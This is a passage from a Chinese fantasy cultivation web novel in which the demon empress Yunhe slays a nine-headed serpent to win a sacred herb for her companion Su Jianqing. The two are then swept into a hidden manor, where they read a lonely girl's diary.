黑袍男子愣了一瞬,旋即笑道:“忘了你们妖族寿数绵长,你生得如此年轻,我还当你与旁边的小伙子一个年龄。” 蕴禾刚要反驳,骤然记起一件事。 以妖族的年龄来算,她的确还小,不过将将成年,发情期都还没来过。 可用人族的年岁来算的话,她却比苏见清多活了几十年。 想到这儿,蕴禾脸一黑。 黑袍男子又道:“我难得发一次善心,小妖修,我奉劝你一句,最近别去东海。” 蕴禾这妖吃软不吃硬,他越是如此说,她越是要去。 何况苏见清需要的神草近在咫尺,岂有不去取的道理? 她冷哼一声,“多谢提醒,但我凭什么听你的?” 黑袍男子一叹,“也罢,人有人的造化,妖有妖的造化,你既执意如此,那便算了吧。” “是我多言。” 话落,他起身,缓步往楼上走去。 苏见清注视他的背影,轻声道:“阿蕴姑娘,或许他并无恶意,只是好心提醒我们一句。” 蕴禾却没放在心上,“就算东海有异又如何?我既然来了,便不会空手而归。” 她抬眸望着苏见清的眼,“再者,我们妖修最不惧的就是危险。迎难而上又如何?” 苏见清一怔,仿佛瞧见了那日阿蕴姑娘以一敌众的英姿。 那般英勇无畏,英姿飒爽,像是要刻在他心上。 苏见清扬唇,“好,我陪你。” 蕴禾被他笑得眼神一晃,在心里默念几句清心咒,默默给自己续上一杯水。 这家客栈的饭菜着实一般,但看着苏见清秀色可餐的脸,蕴禾却也吃了不少。 饭后,两人一道上楼。 明日便要出海,又连续飞行好几日,蕴禾现在的确想好好睡一觉。 她回了房便倒在床上,沉沉睡去。 翌日,蕴禾在苏见清的敲门声中醒来。 “阿蕴姑娘,你醒了吗?” “醒了。” 蕴禾翻身坐起。 起身的刹那,她动作一顿,视线往周围扫去,没发现任何异常,微皱的眉头轻轻舒展。 开了门,苏见清站在门外,温声道:“我提前让店小二备好了早膳,咱们吃完就上路?” 蕴禾没异议,“行。” 早膳倒是比昨晚那顿味道要好,蕴禾喝了两碗粥,又吃两笼包子,吃饱后结完账,和苏见清走出客栈。 迈过门槛的刹那,她眸色骤厉。 第84章 “怎么了?” 落后一步的苏见清问。 他失了元婴,修为虽然不在了,但属于剑修的敏锐力仍在,下意识觉得不对。 好似自从他们踏出这道门开始,天地在瞬间发生了转变。 蕴禾将苏见清护在身后,青竹在手中现形,盯着天空冷声道:“宵小鼠辈,只会在背后耍阴招。” 将苏见清往后一推,她飞身跃上半空,高高举起青竹,一棍劈下去。 “轰隆——” 蕴禾青竹之下并无他物,可整个世界却忽然开始晃动。 苏见清身体不稳,脚下踉跄。即将摔倒之际,一道绿色妖力朝他飞来,缠绕在腰上,将他转了回去。 站稳后,那道妖力化为结界,将他整个罩住。 苏见清抬头,蕴禾稳稳立于半空,连头也未曾回一下,举起青竹再度一棍砸下。 这片天地再度晃荡,却如藕断丝连般勉勉强强续上了。 可以啊,那黑袍男人有两下子。 蕴禾眼里泄出狠意,汇聚全身妖力注入青竹中。 丝丝缕缕绿色灵光自她掌心钻出,包裹住青竹。 竹身越发翠绿,顶端竹叶灵光大亮,蕴禾一把将青竹甩出去,喝道:“再来!” “轰——” 青竹砸上无形结界,绿光刺目绚烂,整片天地开始崩裂。 “呲——” 半空出现一道蛛网般的裂缝,那道裂缝在蕴禾的注视下越来越大,最终遍布整片天空,如碎片般唰唰落下。 天地碎裂,另一幕场景出现在蕴禾面前。 街道上行人三三两两,铺子上空白烟袅袅,食客大声与摊主说话,一派热闹之景。 蕴禾和苏见清*正站在客栈门口一动不动,一名住客立在两人面前,面色不耐,“你们俩怎么回事,在这儿站了好久了,走不走啊?别挡道啊,你们不过路别人还得过啊。” 蕴禾看他一眼,无声往旁边让了一步。 苏见清反应过来,急忙道歉,“抱歉抱歉,我们方才正在想事情,一时没能注意到外界,实在抱歉。” 见他态度好,那住客缓了面色,告诫道:“想事也不能挡了别人的路,下次可不能这样了,也就是我脾气好,换了别人早就上手了。” 苏见清面色歉疚,“多谢体谅。” 住客走进客栈后,蕴禾拉着苏见清就走,“走,出海。” 苏见清略显意外,“阿蕴姑娘,我们不去找设结界之人吗?” 蕴禾面上没什么表情,“他不重要,先去给你取药。” 苏见清面色怔住。 以阿蕴姑娘的脾气,若是以前,此刻早就找人算账去了,可今日,她竟然退后一步,一心念着为他取药。 苏见清看着她的侧脸,嘴角轻轻上扬。 …… 东海。 海面上立着一道人影。 他眉头一动,往后望去,略有意外,“竟然这么快就破了,看来是我小看了那小妖修。” 轻轻叹了声气,黑袍男子摇头,“这么多年了,本尊难得发次善心,竟有妖修如此不识好歹。” “也罢,那你就自求多福吧。” 黑袍男子垂眸望着足下平静海面,忽地往上一跃。 “哗啦——” 海柱直冲上天,海面下,无数张长满尖齿的嘴咆哮着朝他咬来。 “嘶。” 苏见清忽然捂住胸口,唇间发出一声轻哼。 “怎么了?” 蕴禾回头看他,瞧见两道紧皱的双眉,问道:“不舒服?” “没事。” 苏见清拧眉感受片刻,方才有一瞬间,他的心跳漏了一拍,冥冥之中好似有一股力量短暂地在召唤他。 可等他再度感受时,那股力量却烟消云散,再也寻不见踪迹。 或许是错觉。 苏见清暗忖。 蕴禾再度确认,“真的没事?” “真的。” 苏见清笑着摇头。 蕴禾仔细端详他的神色,见他实在不像勉强的样子,这才安心。 “行,有事一定要与我说。” 苏见清点头,“好。” 蕴禾收回视线,目光在下方巡视。 妖族古籍上记载,九宫净蕊生在东海一座无名荒岛上,可这一路走来至今未见岛屿。 或许是他们飞得不够远。 蕴禾两指携一缕妖力,操纵青羽继续往前。 飞了大概两个时辰,眼前终于出现了岛屿的影子。 蕴禾往下一扫,眉头皱起。 这座不是,那座也不是。 眉头随着岛屿的出现皱得越发紧。 又飞了一个时辰,蕴禾眼前终于一亮,一把抓住苏见清手腕,声音里含着明显的欣喜,“到了,在那儿。” 苏见清顺着蕴禾的视线看过去。 随着青羽靠近,那座岛屿的模样在他眼里逐渐清晰。 是座遍布荒石,不生草木的岛屿,有浑浊水流顺着岩壁汇入东海,水声似落石砸入河底,入耳沉闷。 蕴禾从储物手链里取出一瓶丹药递给苏见清,“先吃两颗。” 等他吃下后,她操纵着青羽停在岛上。 落地的刹那,一股燥意袭上苏见清心头,没等郁气扩散,心口处忽地一热,暖意瞬间蔓延至五脏六腑,驱散了那股烦躁之意。 蕴禾忽地抓住苏见清的手,“屏气凝神,什么也别想。” 她的手触碰到苏见清的刹那,方才被压下去的燥意似有蠢蠢欲动之兆,苏见清急忙在心里默念清心咒,又有丹药在发挥药力,总算再度将那股气压下去。 这次苏见清学乖了,被蕴禾牵着手往山上走时把自己当成和尚,一刻不停地念着清心咒。 眼前的荒岛寸草不生,形状似竹笋,中间略微凸起,顶端略尖。 石壁呈灰色,其上长着斑点,在阳光照耀下闪烁亮光。 越往上,那股燥意越难压,鼓噪着他做些什么。 苏见清拔开塞子,又往嘴里塞了两颗丹药。 灵台清明不少,他顺着蕴禾的力道继续往上。 终于,山顶到了。 眼前落下一道光,晃了苏见清的眼。 他侧目避了避,适应过后偏头看去。 不远处的悬崖上生着一朵花,九片花蕊在空中舒展,花茎与花蕊皆成蓝色,只消一眼,仿佛立即就能洗涤心灵。 花蕊上空生着九团灵蕴,里面包含七彩光芒,方才晃眼的光便是由它发出。 这就是九宫净蕊,传闻中的神草? 蕴禾回头叮嘱,“你在这儿守着,我去去就来。” 苏见清点头。 眼下瞧着似乎并无危险,但出于剑修的直觉,他总觉有何处不对,轻声道:“你小心些。” “我知道。” 蕴禾往苏见清身上打了层结界,想了想,把脖颈上的青珠取下,系到他颈上。 “这珠子是我的本命灵器,关键时能护你性命,你拿去戴着。” 苏见清张唇,“阿……” 蕴禾将他打断,“本皇只是暂时借给你,事后我还要取回来的。” 苏见清弯了弯唇,“好。” 嘱咐完,蕴禾眼里的柔光在瞬间退去,转为一派冷冽,她看着那株神草,霍地飞身而上。 花蕊上的灵蕴在蕴禾眼底逐渐放大,刹那间,仿佛有无形的神识之力穿过她的身体,抵达修士脆弱的识海,在里面搅弄风雨。 七彩的光在蕴禾识海迸射,刹那间,绿色竹林瞬间被彩光覆盖,威压从里蔓延向外覆盖,试图将她整片识海挤爆。 蕴禾脑中一痛,身形僵了一瞬。 就这?你再长一万年吧! 无人得知,蕴禾的血脉神通除了神控术之外还有一术。 她的身体在她陷入睡眠时会自动修炼和修复,这得天独厚的能力令她自小就比别的小妖修强大数倍,而除非伤及根基,别的小伤只要她睡一觉就能恢复。 正是因为这个血脉神通,蕴禾才能在短短数十年间达到大乘期,斩杀仇人登上妖皇之位。 也因此,她的识海,也比同境界的修士宽阔一倍。 想把我挤爆?本皇先把你折了! 一道神念自蕴禾识海中爆发,以摧枯拉朽之势将那彩光驱赶出去。 绿光占据了蕴禾整双眼睛,她凭空一握,仿佛徒手抓住了什么东西,将之狠狠往外一扯。 无形中似有“啪嗒”声响起,九宫净蕊身躯狠狠一颤,头顶灵蕴瞬间暗淡。 蕴禾勾唇,飞身往上,一把抓住它的根茎,往上一拉。 九宫净蕊的根茎深入荒岛,稳稳扎着不动。 蕴禾冷冷一哼,加大力度,“给本皇出来!” 又一截根茎露出,几条细小根须忽然扒住蕴禾的手,做最后的抵抗。 蕴禾手掌一握,妖力将根须震碎,她趁机用力往上一拔。 九宫净蕊离开荒岛的刹那,一双、两双、三双……眼睛亮起。 黄色竖瞳充斥着暴虐凶残之气,整座荒岛忽然开始震动,碎石沿着山壁滚落,噗通掉入海中。 愤怒的啸声响彻天际,一股狂暴之气席卷而来。 苏见清稳住身形,下意识朝天空望去。下一瞬,他瞳孔骤缩,急声提醒,“阿蕴姑娘小心!” 蕴禾手握九宫净蕊,站在悬崖上抬头。 一颗硕大蛇头立在上空,竖瞳紧紧盯住她手中神草,张口咆哮,露出两颗尖锐毒牙。 劲风朝蕴禾吹来,她衣衫飘动,身形却岿然不动。 又有一颗蛇头升起,阴毒地盯着蕴禾。 一颗,一颗,又一颗。 整整九颗蛇头立在空中,从四面八方将蕴禾包围,齐齐朝她咬来。 她并无惊惧,绿光闪烁,青竹已握在掌中。 九宫净蕊的伴生妖兽,九头森蚺。 让本皇来领教领教,你们和火狱下的那群废物有什么区别。 蕴禾倏地一跃,一棍朝最近的蛇头砸下! 第85章 蛇头被蕴禾这一棍打得凹下去一大块,它吃痛,愤怒咆哮,腥风顿时朝着蕴禾而来。 她险些没被这味道熏晕过去,捂唇打了声干呕,就在这时,其余蛇头纷纷朝着蕴禾咬来。 蕴禾穿梭在九个蛇头中,身影诡异多变,变幻莫测,九头森蚺遍寻不到她的身影,咆哮声越发大了,蛇头鳞片晶亮,不断交替变换,想将蕴禾困在其中。 苏见清立在远处,紧紧握住脖子上的青珠,目光担忧地寻找着蕴禾的身影。 仿佛有道绿光在眼前掠过,蕴禾快成了残影。 然那九头森蚺也不遑多让,九个蛇头编织成一张大网,力图把蕴禾绞死在里面。 绿光被蛇头堵死,苏见清已经看不见蕴禾的身影。 虽然知道她的实力,可眼前这一幕,却令苏见清控制不住地担忧起来。 阿蕴姑娘…… 他绞住双手,两道长眉紧紧皱起。 下一瞬,一声尖啸后,一只蛇头陡然爆开,随着“砰砰砰”的响声落下,三只蛇头接连爆炸,血渣如骤雨从空中落下。 结界将苏见清稳稳护住,鲜血淋漓、拳头大小的血块从眼前坠落,他急忙抬头,惊喜道:“阿蕴姑娘!” 一道身影疾速飞出,平稳落在半空,蕴禾身无污秽,单手握着青竹。 竹上有猩红鲜血掉落,竹身颜色越发苍翠,绿到显出几分诡异。 九头森蚺一口气损失三个头,怒不可遏地朝蕴禾咆哮,腥风从四面八方裹来,蕴禾屏住呼吸,眼里厌恶,握住青竹倾身而上。 绿光一闪,她站在蛇头上,双手持棍往下刺去。 九头森蚺痛得尖啸,其余五个蛇头齐齐张开血盆大口朝蕴禾咬来。 她不惧不躲,蓦地伸出一手,掌心绿光闪烁,几乎瞬间在头顶结成一道法印。 五个蛇头撞上去,再不能寸进。 脚下蛇头痛得奋力挣扎,蕴禾跟扎根在它头上似的,无论它怎么动都不曾挪动一分。 趁着其余蛇头被困住,她双手握住青竹,冷着脸狠狠往下一刺。 蛇头挣扎无果,无力朝下坠落。 蕴禾站在虚空,反手将青竹往后掷去。 绿色法印在触碰到青竹顶端的刹那消散,竹尖绿叶脱落,其中三片叶子以迅雷不及掩耳之势飞向三个蛇头。 青光大亮,竹叶瞬间爆开,巨大的能量刹那间将蛇头炸开! 刺目光亮中,青竹以肉眼不可捕捉的速度飞至另一个蛇头前,一棍洞穿它的脑袋! 眨眼之间,九头森蚺只剩下一个头。 它不可置信,暴怒又怨恨地朝天尖啸,一股看不见摸不着的能量向外蔓延,笼罩住整座荒岛。 身下荒岛在剧烈摇晃,气势如天崩地裂,似乎下一瞬就会彻底崩塌沉入深海。 苏见清努力稳住身形,心中忽然生出一丝暴虐,那股情绪在瞬间被放大,眼底漫上猩红,他不受控制地去攻击结界,试图将之打开。 绿光盈盈的结界温柔又不容抗拒地将他弹回去,苏见清勉强寻回神志,急忙倒出丹药吃下。 心口生出的暖意将暴虐怒意挡回去,他松了口气,担忧去看空中的蕴禾。 哪怕他在结界中都受到如此大的影响,那阿蕴姑娘呢,现在的她怎么样。 这念头刚从脑海里划过,眼前骤然一黑,苏见清瞳孔紧缩,不敢相信自己看见了什么。 岩石扑簌簌砸落,一条巨大蟒身在空中划过。 它、它竟是盘在整座荒岛上的。 这片天空似黑云倾盖,黑沉沉的望不见蓝天,苏见清紧攥双拳。 阿蕴姑娘……一定要平安无事啊。 如苏见清所想,现在的蕴禾的确不太好受。 她正正对着九头森蚺,那股暴虐的情绪朝她倾轧而去。此刻的她一颗心仿佛都要炸开,全身血肉都在提醒她。 杀杀杀! 可是……杀什么? 蕴禾握紧青竹,茫然失措。 不知何时,九头森蚺的尾巴已经缠上蕴禾裙摆,它身体绕上去,试图将这个毁了它多年修为的小小妖修绞死。 就在蟒身触碰到蕴禾脚踝时,她眸色骤然一厉,青竹瞬息间扎入九头森蚺尾巴。 蛇鳞爆开,蟒身出现阵阵血雾,它吃痛收回尾巴。 蕴禾趁机握住青竹退开。 又是一声尖啸,那股暴虐之气再度袭上心头,试图侵占蕴禾的神智。 她嘴角上扬,冷冷一笑,“你是想让我在杀戮中迷失?” “行,本皇成全你,看看是我先疯魔,还是你这头丑蛇先被本皇取了妖丹。” 蕴禾不再抵抗,放任那股暴戾肆虐的情绪侵占她的理智。 眼珠逐渐变为猩红,蕴禾身上弥漫着极为浓烈的杀意。 她盯着眼前的九头森蚺,不仅没有做出自残行为,甚至拎着青竹杀了上去! 笑话,妖域幽皇永远也不可能将刀锋对准自己。 就算她失去理智,也只会把挡在身前的敌人全部杀尽。 狂暴状态下的蕴禾战斗力几乎翻了倍,她单手握着青竹,另一只手五指不断变换,一个又一个法印在她掌中成型,齐刷刷朝九头森蚺砸去,噼里啪啦爆成烟花。 血雾散开,九头森蚺痛得蟒身剧烈扭动,仅剩的一个头往蕴禾头上咬,那力道恨不得将她的头咬断。 青竹在手中转一圈,蕴禾霍然往上掷去,三片竹叶脱落,在九头森蚺身上炸开! 尖锐刺耳的叫声响彻天空,蕴禾眸里红光更盛。 回到手中的青竹再度被她掷出去,她双手结印,狂风吹得衣袂翩飞,身后骤然升起一个圆形法印。 法印起初只有一个轮廓,可随着蕴禾手指翻动的速度加快,越来越多的纹路亮起,纤长手指定住后,那法印彻底成型。 圆形法印宛如一幅清幽雅致的潇潇竹林图,下一瞬,法印骤然大亮,无数竹叶从中飞出,似翻涌的狂风,朝九头森蚺卷去。 源源不断的竹叶贴在九头森蚺蟒身,接二连三的爆破声响起,与此同时,青竹洞穿了蛇头。 鲜血如瀑布涌下,乌云退去,露出蔚蓝的天空。 尖啸声不再,取而代之的是哗啦潮涌。 苏见清心中一喜,迫不及待朝蕴禾走去,“阿蕴……” 话音陡然顿住。 猩红的眼珠转动,蕴禾的目光紧紧落在苏见清身上。 怎么回事?那九头森蚺不是已经死了吗?阿蕴姑娘为何还会受到它的影响? 苏见清心中担忧,再度往前,“阿蕴姑娘,你快醒过来。” 蕴禾眼睛盯着他不放,五指张阖将青竹召回。 脑海里刚出现对苏见清不利的念头,一股尖锐的刺痛骤然来袭。 蕴禾灵台一瞬清明,收下空中属于九头森蚺的妖丹,召出青羽,飞身上去拽住苏见清。 两人落在青羽上,她急声道:“走!” 青羽青光明亮,载着两人飞离这座荒岛。 他们走后,荒岛轰鸣一声,缓缓沉入海底。 海面逐渐平静,仿佛此处从未有过一座岛屿存在。 或许数万年后,荒岛会再次现世,这里还会出现新的九宫净蕊与九头森蚺。 …… 飞出荒岛极远,蕴禾眼底的猩红总算褪去,苏见清拧眉,问出先前的疑惑,“那妖兽不是已经死了吗?为何你还会受到影响?” 蕴禾摇头,“若我没猜错,那暴虐之气并不属于九头森蚺,而是来自于那座岛屿。它是岛上唯一的存活者,也能算是那座岛的‘神’,九头森蚺虽死,可岛仍在,只要它不毁,那股气息便永远也不会消散。” 原来如此。 咸湿海风钻进鼻腔,蕴禾却提起唇角,语气轻快道:“此行收获颇丰,不仅取到了九宫净蕊,还白得一头大乘初期妖兽的妖丹。” 苏见清嘴角拉直,不赞同道:“不是白得的,是你辛辛苦苦杀了妖兽取来的。” 蕴禾一怔,视线凝在他身上。 倘若苏见清如往常般羞涩躲避,她或许还会自在几分,突然这么坦荡,还怪不习惯的。 对上苏见清后怕中稍显崇拜的眼神,蕴禾忽然虚荣心爆棚,取出那枚妖丹。 “你还没看过大乘境妖兽的妖丹吧,喏,拿去玩。” 白嫩掌心悬浮着一颗人头大小的灰色珠子,珠光玉润,仿佛上好的玉石。 苏见清的确没见过这等妖丹,伸手试探一碰。 一股尖锐刺痛从指腹传开,苏见清嘶了一声,几滴血珠从指尖坠落,没入大海之中。 蕴禾掌心一合,妖丹刹那被收回。 她捉住苏见清的手,眉头拧紧,“我忘了,你现在没有修为在身,承受不住这妖丹内残存的力量。” 听出蕴禾声音里的自责,苏见清笑着安慰,“没事,只是一点小伤,伤口都已经痊愈了,阿蕴……” “咚、咚。” 苏见清的心跳忽然漏了一拍,冥冥中仿佛有什么东西牵引着他,令他低头往海面看去。 凭空出现一个漩涡,极大的吸力缠住苏见清,妄图将他拽入其中。 等他反应过来时,身体已掉出青羽。 “苏见清!” 腕上多了一只白皙修长的手,蕴禾瞪向漩涡,忍不住骂道:“这什么东西?” 她拉住苏见清的手,“你别慌,我马上把你拉上来。” 苏见清澄澈明亮的眼睛看着蕴禾,“好。” 她用力拉着苏见清往上拽,但那漩涡的吸力实在太大,下一刻,蕴禾手中倏地一空。 她大惊,“苏见清!” 第86章 眼见苏见清即将被那漩涡吸进去,蕴禾心中着急,想到方才交出去的青珠,她手指掐诀,喝道:“回来!” 挂在苏见清脖子上的青色珠子顿时大亮,下一息,它带着苏见清出现在蕴禾身旁。 蕴禾立马把他的手拽住,大松一口气,“没事就好,这鬼东西到底……” 话音未落,身后骤然出现一个漩涡,将两人的身影吸入其中。 海面风平浪静,海鸟在空中盘旋,海水轻缓流淌,仿佛方才这里的一切从未出现。 蔚蓝天空中忽然出现一个黑点,黑点越来越大,逐渐清晰。 那是个浑身裹着黑袍,身形高挑的男子,他一步步落在虚空中,如履平地,缓步走到这片海域。 黑袍男子站在海面上,蹲下身子,伸出骨节分明的苍白手指,轻轻撩起一串水珠。 他低着头自言自语,“奇怪,怎么找不到了?” 海水在他手指间穿梭,黑袍男子喃声,“我记得就在这附近的啊。” 阳光照射,指间清澈的海水忽然染上一抹红色,以他为中心,四周海域骤然浮现无数只妖兽的尸体,残肢断骸密密麻麻漂浮在海面上,清澈海水几乎被染成血海。 动作一顿,黑袍男子倏地抬头往后看,漂亮桃花眼里浮现森寒。 他站起身,长袖一挥,海面妖兽尸体在刹那间化为齑粉,融入海中。 猩红颜色退去,黑袍男子的身影随着鲜血一同隐去,海域重新恢复平静。 片刻后,剑光从天际划过,又一道身影缓缓步入此地。 他立在半空,视线从海面上扫过,眉头轻轻一拧。 盘旋在头顶的海鸟发出嘹亮鸣叫,海风拂过,撩起一绺银白如雪的长发。 …… “滴答。” “滴答。” 连续不断的水声从耳畔传来,一下又一下的扰人得紧。 蕴禾闭着眼,眉头烦躁拧紧。 “滴答。” 又是一声滴水声,她霍地睁眼,不耐烦道:“什么东西,烦不烦!” 待看清眼前之景时,蕴禾却愣住了。 头顶碧空如洗,几朵白云慢悠悠地飘着,身下是茵茵绿草,草叶尖扎在她后脖颈的肌肤上,不疼,但隐隐有些痒。 坐起身,草地向外蔓延,灵花随风摇曳,朵朵灵蕴悬浮在上空,温柔又梦幻。更远处是一片林子,里头栽种着数不清的灵花灵树,齐齐绽放。 视线一转,面前是一座精致古朴的庄园,牌匾上并未书写名字,反而绘制着一幅画像。 几个衣着华丽的人站在云上,下方汇聚着人族和妖族,除此之外,竟然还有魔族,他们双手朝上,脸上的表情是相同的虔诚。 这是何处? 蕴禾有些懵了。 她和苏见清不是在东海掉进未知漩涡里了吗?这里又是哪儿? 记起苏见清,蕴禾立马寻找他的身影,瞧见十几步外平躺在草地上的人,她快步走过去,轻拍他的脸,“苏见清,苏见清?” 眼皮下的眼珠动了动,蕴禾再接再厉,“苏见清,快醒醒。” “……阿蕴姑娘?” 苏见清缓缓睁眼。 他坐起身,看清周围环境时,发出了和蕴禾一样的疑问,“我们这是在这儿?” “不知道,从那漩涡里掉下来就到这儿了。” 蕴禾也感到新奇。 在东海,怎么会有这样一个地方? 她看向那扇紧闭的大门,“要进去看看吗?” 苏见清点头,“好。” 两人从草地站起,齐齐往庄园大门走去。 走了两步,蕴禾陡然转了一圈,目光从这片天地巡视而过。 这里并无水流,那她刚才听见的水声是什么? 她拧眉,暂且把这个疑惑放回心底。 苏见清已来到庄园门外,见蕴禾走近,他伸手推门。 出乎意料的是,这门竟轻轻一推就开了。 两人对视一眼,蕴禾道:“走吧,你跟着我。” 她拉住苏见清的衣袖,带着他往里走。 这座庄园极大,前头院内房间装着无数心法剑谱、神兵利器、灵丹灵药、珍稀灵草,后面像是用来玩乐的,蕴禾打开一扇门,看见一整间房子的蹴鞠。 他们将整座庄园逛完,却是一无所获。 这里是什么地方,属于谁,完全没有记载,仿佛只是庄园主人修建来供家族晚辈学习和玩乐的地方。 “后面好像还有一座木屋,咱们去看看。” “好。” 蕴禾带着苏见清往后走,穿过最后一扇门,一座木屋出现在两人眼中。 那木屋共有两层,底层设有卧房与厨房,楼上唯有一间卧房。 在楼下逛了圈,两人一道往上走。 淡蓝色的纱帘后是一张雕花大床,床上被褥铺得整整齐齐,床尾摆放了几只毛绒玩偶,妆台上放满珠钗首饰,看着是个姑娘的房间。 木柜里装满衣裳,白的蓝的放在一处,做工精致又精细,触感光滑柔顺。 蕴禾在屋内走了几圈,并未发现别的东西。 “阿蕴姑娘,你快看这个。” 听见声音,蕴禾朝苏见清走去。 他盘腿席地而坐,手里握了本书。 蕴禾在他身旁坐下,低头认真看。 这书应当是本札记,落在页面上的字迹十足稚嫩,有的线条歪歪扭扭,执笔之人年龄应该不大。 【无聊无聊无聊无聊无聊,好无聊啊……】 密密麻麻,写了满满一页的无聊。 蕴禾眉尾微挑,目光随着苏见清翻动书页转移,继续看下去。 【好烦呐,不想修炼,不想练习法术,更不想练剑,人活着为什么这么艰难啊。】 【怎么不来一道雷把我劈死算了。】 蕴禾单手捧脸,饶有兴致道:“这札记的主人还挺有意思的。” 苏见清拧眉,却是不赞同,“她坐拥如此资源,却无上进心,岂不是浪费了父辈的一番好意?” 蕴禾白他一眼,“你管人家的,或许是她家族源远流长,那些资源都是从最初积累下来的呢?” “你别说话,接着往下看。” 苏见清闭上嘴,乖乖道:“哦。” 他翻开下一页。 【唉,这剑术有什么好学的?学来学去这里还不是只有我一个人,孤孤单单的,连个说话的人都没有。】 【要是能有个人突然出现,来这里陪我就好了。】 【要是我能出去就好了……】 【算了,别做梦了,还是洗洗睡吧。】 又翻过一页,页面上的字迹变得娟秀不少,但话倒是一如既往得多。 【今日练习法术,忽然发现祖宗们留下的阵法有一处小小的纰漏,嘿嘿,我可以偷偷跑出去玩啦!】 【也不知道外面是什么样子的,虽然已经从书里看过了,但还是想亲眼看一眼。】 【嗯……事不宜迟,我现在就走!】 苏见清两指夹住书页,再度往后翻。 【哇哇哇!!外面果然很好玩!好多新鲜的东西,我以前怎么没发现阵法的漏洞呢?哎呀,真是亏大了。】 【嘿嘿嘿,今日出去玩,居然有人想绑架我,说什么要带我去找爹娘。哈哈哈我爹娘早就已经去见祖先们了,他当我傻是不是?不过他夸我是个可爱的小姑娘诶!这还是第一次有人夸我可爱!好开心好开心!不过虽然很高兴,但我还是要杀了他啦,哼,当我没从书里看过拍花子吗?这种可恶的东西,哪怕是夸我可爱,也必须杀掉!我还从拍花子手里救下一个小男孩,今天是愉快又有正义感的一天~】 蕴禾看到这儿,轻轻嘶一声,“这小姑娘虽然平日里不着调,但心性坚定,修为应该也不错。” 苏见清点头,手指夹着书页继续往后翻。 【今天出去玩,回来的路上遇见一个被人欺负的小男孩,我帮他报了仇,把欺负他的人狠狠打了一顿,他张开眼睛看着我,干裂的嘴巴一动一动的。我没听清他说了什么话,喂他吃了一颗糖豆,背着从外面买来的吃食,高高兴兴回家。】 【今天有剑术课,不能出去……】 蕴禾皱眉,“这小姑娘说她一个人住在这里,可为什么要上课?谁在教她?” 总不会是她祖宗的魂魄吧? 苏见清也感到疑惑,“会不会是她长辈留下的札记之类的东西?” 蕴禾看着不像,往后翻一页。 【菩提老祖的法术课好无聊啊,听得我想打瞌睡,反正也没人看着我,我就睡一觉好啦!话说回来,菩提老祖光溜溜的脑袋好像煮鸡蛋……嘿嘿……煮鸡……】 后面歪歪扭扭地画了个圆圈。 蕴禾把脑袋靠在苏见清胳膊上,皱着脸琢磨,“你说,这小姑娘看的,会不会是她的先祖提前画出来的影像?” 苏见清身子紧绷,他努力让自己放松下来,动了动胳膊让蕴禾靠得更舒服,“还有这种术法?” “大千世界无奇不有,咱们在进来之前不也没想到东海下还有这样一个地方。” 苏见清点头,“也是。” 两人继续低头看札记。 【今天溜出去玩了,回家的路上忽然看见有道身影站在路边石头上,好像有些眼熟,我走过去一看,哎呀,是我上次救的那个小男孩。我问他在做什么,他说在等我。我又问他为什么等我,他说:你救了我的命,我想跟着你。】 【跟着我?这是什么意思。他是想当我的跟班吗?】 【可我不缺跟班,我缺一个兄弟姐妹,最好是哥哥或者姐姐。】 【要是他能当我哥哥就好了。】 第87章 【我有哥哥啦!我有哥哥!这里再也不会只有我一个人了!哈哈哈哈哈开心开心!】 【哥哥今天给我煮了饭,好香,好好吃!】 【哥哥笨笨的,连最普通的术法都不会,看在他对我还不错的份上,我给他吃了棵草,哥哥疼得在地上打滚,问我那是什么,其实我也叫不出名字,反正是对他身体很好的草,哥哥听了,咬牙忍痛,看着他那副模样,我心里还挺过意不去的。算了,还是去后山给他摘个桃吧,又大又饱满,甜甜软软的……吸溜……感觉要流口水了嘿嘿。】 【今天哥哥和我一起练剑,终于有人和我对打了,我太高兴了,一时没收住力,把哥哥打趴下了。哎呦,他还是太弱了,得再给他吃点花花草草果子才行。】 【今天和哥哥一起上了菩提老祖的课,奇怪,他为什么不打瞌睡?我好困,好困啊……】 【哥哥今天接住了三招,不错不错。】 【哇!哥哥今天接住我十几招诶,好厉害!】 …… 【哥哥比我都高了,哼,他为什么比我高,我不服!】 【哥哥的剑术突飞猛进,都和我打成平手了诶。】 【哥哥……】 【我和哥哥说,我想去外面,他二话不说就去收拾东西,只说和我一起。哥哥太好了!他是世上最好的哥哥!】 【终于可以离开这个地方了,我太太太太开心啦!!!】 手札从这里就结束了。 蕴禾看了看背面,轻咦一声,问苏见清,“你觉不觉得,这里好像被撕了几页?” 苏见清低头。 几片纸屑翻飞,最后一页明显有被撕过的痕迹,他点头,“是被人撕了。” 蕴禾摸摸下巴,“这么说,这札记后面还有东西?” 她环视一圈,“会不会落在这庄园的别处了?” 苏见清:“有可能。” 他拧眉不解,“只是,这札记有何不能看的,为什么会被人撕掉?” 蕴禾耸肩,“谁知道呢。” 她身子一歪,彻底倒在苏见清身上。 苏见清动了动,一点温润触碰锁*骨,微微低头,正好瞧见一抹绿光。 指尖捻上那颗青珠,他问:“阿蕴姑娘,这是你的本命灵器?” 蕴禾偏头看了眼,语气没什么波澜,“是啊。” “我与你说过,我父母的死,是因为一个叫青龙骨的东西。” 提及此事,苏见清面色沉重,点头轻声,“嗯。” 蕴禾歪在他身上,回忆道:“我当初以为是那只妖王误会了,我爹娘怎么会有什么宝物?若是有的话,怎么会一辈子龟缩在小小山林间?” “直到他们死后,我才知道,这竟然是真的。” 苏见清意外,“真的?” “嗯。” 蕴禾点头,手心一摊,一根通体碧绿莹润的竹子出现在手中。 “他们交给我的,就是那所谓的青龙骨。” “后来在妖域闯荡才得知,青龙骨,就是青龙死后残留下来的神骨。” “青龙?” 苏见清震惊,“妖域当真有青龙?” “当然有了。” 蕴禾白他一眼,“不过已经是很久以前的事了,听说万年前有头青龙渡劫成功,即将飞升成神,却不知因何原因,最终惨死。死后神骨多年不蚀,成为众妖争抢的存在。” “我爹娘的祖先曾是那青龙的好友,这么多年一直将它的尸骨保存完好。那片山林曾是那青龙的地盘,因此他们世代在此隐居,没想到青龙骨的存在被泄露,导致我爹娘惨死。” “知道真相后,我心中愤懑,当时手中正好缺样武器,索性把它们弄成了这般模样。” 蕴禾掂了掂青竹,碧绿棍身绿光一亮,“这么多年,它一直陪着我。” 从一只小小的食铁兽,长成如今的妖皇。现在的蕴禾已经说不清对它是什么感情,但她知道,她离不开它了。 “至于那颗珠子,我也不太清楚是什么,它莫名其妙就成了我的本命灵器,但用来逃命躲藏还不错。” 苏见清沉思。 和青龙骨放在一起的,很大可能是妖丹眼珠之类的东西。 他把青珠取下,交还到蕴禾手里,“这东西如此珍贵,又对你有重大意义,还是快拿回去吧。” 